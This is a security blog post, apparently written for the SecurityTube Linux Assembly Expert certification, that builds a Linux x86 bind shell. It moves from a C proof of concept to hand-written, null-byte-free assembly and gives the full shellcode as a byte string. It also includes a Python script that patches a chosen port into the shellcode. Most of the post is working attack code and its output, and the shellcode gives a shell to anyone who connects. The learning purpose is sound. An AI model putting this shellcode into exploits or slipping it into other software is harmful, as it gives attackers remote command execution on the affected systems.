Security oriented blog

SLAE Assignment #1 | Bind shell

28 Mar 2016

This post is the assignment in the SLAE exam for recreating a bind shell shellcode.

Lets first analyse the structure of the shellcode with libemu:

root@kali:~# msfvenom --platform=linux -a x86 -p linux/x86/shell_bind_tcp| /opt/libemu/bin/sctest -vSs 1000000 -G out.dot
root@kali:~# dot -Tpng out.dot -o out.png

bind

The shellcode can be divided into the following steps:

  1. Create a socket with a call to the socket function.
  2. Bind the socket to localhost and a specified port with a bind call.
  3. Make the socket accept incoming connections with a call to listen.
  4. Wait for a connection and accept it, create a new file descriptor from it. With a call to accept.
  5. Redirect the wanted file descriptors to the socket, common is to redirect stdin, stdout, stderr. Do this with dup2.
  6. Start a shell with an execve call.

Seems reasonable simple with all steps broken down. I will first make a working POC in C and then manually convert it to assembly. This page was a good reference for the sockaddr type given in the bind parameter.

#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <unistd.h>

#define PORT 4451

int main(char* arg[], int argv){
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(PORT);
    inet_aton("127.0.0.1", &addr.sin_addr.s_addr);

    int sockFD = socket(AF_INET, SOCK_STREAM, 0);

    bind(sockFD, (struct sockaddr *) &addr, sizeof(addr));

    listen(sockFD, 0);

    int sizeOfAddr = sizeof(addr);
    int newFD = accept(sockFD, (struct sockaddr *) &addr, &sizeOfAddr);

    dup2(newFD, STDOUT_FILENO);
    dup2(newFD, STDIN_FILENO);
    dup2(newFD, STDERR_FILENO);

    char *argvV[] = {"/bin/sh",NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argvV, envp );

    return 0;
}

The sockaddr struct will look something like this on the stack:

sockaddr

Lets find the constants for addr:

gdb-peda$ b 14
Breakpoint 1 at 0x80485b4: file bindShell.c, line 14.
gdb-peda$ r
gdb-peda$ print /x addr
$2 = {
  sin_family = 0x2, 
  sin_port = 0x6311, 
  sin_addr = {
    s_addr = 0x0100007f
  }, 
  sin_zero = {0x25, 0x32, 0xea, 0xb7, 0x90, 0x5, 0xff, 0xb7}
}

And indexes for our socket calls, see why here in this analysis.

tomasuh@Crunch:~$ cat /usr/include/linux/net.h | grep SYS_SOCKET
#define SYS_SOCKET  1       /* sys_socket(2)        */
tomasuh@Crunch:~$ cat /usr/include/linux/net.h | grep SYS_BIND
#define SYS_BIND    2       /* sys_bind(2)          */
tomasuh@Crunch:~$ cat /usr/include/linux/net.h | grep SYS_LISTEN
#define SYS_LISTEN  4       /* sys_listen(2)        */
tomasuh@Crunch:~$ cat /usr/include/linux/net.h | grep SYS_ACCEPT
#define SYS_ACCEPT  5       /* sys_accept(2)        */

With the steps broken down it was suprisingly easy going to write the assembly code.


global _start

section .text

_start:

socket:

xor eax,eax
push eax ;protocol
inc eax
push eax ;SOCK_STREAM
inc eax
push eax ;AF_INET

mov al, 0x66 ;sys_socketcall
mov ebx, [esp+4] ; socket(AF_INET, SOCK_STREAM, 0)
mov ecx, esp ; socket args
int 0x80

; file descriptor now in eax

bind:

;set up sockaddr_in struct
;sin_zero = is 8 bytes trash, so existing stack data can be used
;http://beej.us/guide/bgnet/output/html/multipage/sockaddr_inman.html

;sin_add.s_addr localhost constant
;avoiding nullbytes
;push 0x0100007f <-- not doable then
;ebx is 0x1 from before, shift it into correct position
shl ebx, 0x18
mov bl, 0x7f ;enter last part
push ebx
xor ebx,ebx ;zero out ebx

;AF_INET (0002) and sin_port ffff
;push 0xcdab0002 <-- zero bytes
mov cx, 0xcdab ; port number
shl ecx, 0x10
mov cl, 0x2 ; <-- AF_INET
push ecx

;setup arguments
mov [esp-8],esp ;load the sockaddr struct address  on the stack at correct offset

push 0x10 ; size of sockaddr_in is 16 bytes

sub esp,0x4 ; correct the stack offset because of preload of sockaddr_in struct

push eax ; file descriptor

mov al, 0x66 ;sys_socketcall
mov bl, 0x2 ; bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
mov ecx, esp ;arguments
int 0x80

listen:

mov dword [esp+4], eax ;backlog argument should be 0, use success return value (0) from bind

;esp points towards file descriptor from before, so no need to set the argument

mov al, 0x66 ;sys_socketcall
mov bl, 0x4 ; listen(int sockfd, int backlog);
mov ecx, esp ;arguments
int 0x80

accept:
push 0x10 ;addrlen
push esp ; address of it
lea ecx, [esp+0x10] ; address to sockaddr struct
push ecx ;push it as it is an argument
push dword [esp+0xC] ; sockfd

mov al, 0x66 ;sys_socketcall
mov bl, 0x5 ; accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
mov ecx, esp ;arguments
int 0x80

dup2:
xor ecx, ecx
xchg ebx, eax ;set accept fd as argument in ebx
              ;and making sure eax<=0xFF for the eax  part below (so that it only equals 0x3f below).

jump:

mov al, 0x3f ; dup2 sys call
int 0x80 ;int dup2(int oldfd, int newfd);
inc ecx ;
cmp ecx,0x2 ; call dup for stdin,stdout,stderr
jle jump

execve:
xor eax,eax
push dword [esp-8] ; referencing null being pushed below
push eax ;ends /bin//sh with null and argv and envp as null arguments

mov edx, esp; envp
mov ecx, esp ; argv
push 0x68732f2f;//sh
push 0x6e69622f;/bin
mov ebx, esp
mov al, 0xb ;; execve(const char *filename, char *const argv[],char *const envp[]);
int 0x80

The size of the shellcode is 125 bytes which is somewhat reasonable for a beginner.

root@kali:~/SLAE/assignment-1# ../tools/compile.sh bind_shell
Done
root@kali:~/SLAE/assignment-1# ../tools/shellcode.sh bind_shell
\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x8b\x5c\x24\x04\x89\xe1\xcd\x80\xc1\xe3\x18\xb3\x7f\x53\x31\xdb\x66\xb9\x13\x11\xc1\xe1\x10\xb1\x02\x51\x89\x64\x24\xf8\x6a\x10\x83\xec\x04\x50\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x89\x44\x24\x04\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x6a\x10\x54\x8d\x4c\x24\x10\x51\xff\x74\x24\x0c\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x31\xc9\x93\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\xff\x74\x24\xf8\x50\x89\xe2\x89\xe1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

Part of the assignament was to make the port number configurable, this python script sets it based on user input:

#!/usr/bin/python
import sys, struct

shellcode=r"\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x8b\x5c\x24\x04\x89\xe1\xcd\x80\xc1\xe3\x18\xb3\x7f\x53\x31\xdb\x66\xb9\xab\xcd\xc1\xe1\x10\xb1\x02\x51\x89\x64\x24\xf8\x6a\x10\x83\xec\x04\x50\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x89\x44\x24\x04\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x6a\x10\x54\x8d\x4c\x24\x10\x51\xff\x74\x24\x0c\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x31\xc9\x93\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\xff\x74\x24\xf8\x50\x89\xe2\x89\xe1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

port = int(raw_input("Port number:"))

if port>0xFFFF:
    print "Port is bigger than 2 bytes, ie > 65535, exiting."
    sys.exit()

portH = hex(port)[2:]

if len (portH)==3:
    portH="0"+portH

portLE = "\\x"+portH[0:2]+"\\x"+portH[2:4]

print shellcode.replace("\\xab\\xcd",portLE)

Running it:

root@kali:~/SLAE/assignment-1# ./set_port.py
Port number:4881
\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x8b\x5c\x24\x0.....

And lets run the actual shellcode:

proof


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE - 569

comments powered by Disqus